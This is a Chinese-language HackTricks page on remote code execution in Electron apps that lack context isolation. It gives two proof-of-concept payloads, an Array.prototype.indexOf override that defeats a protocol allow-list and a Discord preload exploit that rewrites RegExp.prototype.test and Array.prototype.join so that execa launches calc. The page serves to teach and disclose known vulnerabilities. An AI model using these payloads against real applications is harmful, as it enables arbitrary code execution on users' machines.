Electron contextIsolation RCE via preload code

Reading time: 3 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

示例 1

来自 https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 的示例

此代码使用默认浏览器打开 http(s) 链接:

类似 file:///C:/Windows/systemd32/calc.exe 的内容可以用来执行计算器,SAFE_PROTOCOLS.indexOf 正在阻止它。

因此,攻击者可以通过 XSS 或任意页面导航注入此 JS 代码:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

由于对 SAFE_PROTOCOLS.indexOf 的调用将始终返回 1337,攻击者可以绕过保护并执行 calc。最终利用:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

检查原始幻灯片以获取其他无需提示权限即可执行程序的方法。

显然,加载和执行代码的另一种方法是访问类似 file://127.0.0.1/electron/rce.jar 的内容。

示例 2:Discord 应用程序 RCE

来自 https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 的示例

在检查预加载脚本时,我发现 Discord 暴露了一个函数,允许通过 DiscordNative.nativeModules.requireModule('MODULE-NAME') 调用某些允许的模块。
在这里,我无法直接使用可以用于 RCE 的模块,例如 child_process 模块,但我 发现了一段代码,通过重写 JavaScript 内置方法 并干扰暴露模块的执行,可以实现 RCE。

以下是 PoC。我能够确认当我 调用在 devTools 中名为 "discord_utils" 的模块中定义的 getGPUDriverVersions 函数 时,calc 应用程序会 弹出,同时 重写 RegExp.prototype.testArray.prototype.join

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

getGPUDriverVersions 函数尝试通过使用 "execa" 库来执行程序,如下所示:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

通常,execa 尝试执行 "nvidia-smi.exe",该路径在 nvidiaSmiPath 变量中指定,但由于重写的 RegExp.prototype.testArray.prototype.join参数在 _execa_** 的内部处理过程中被替换为 "calc"**。

具体来说,参数通过更改以下两个部分被替换。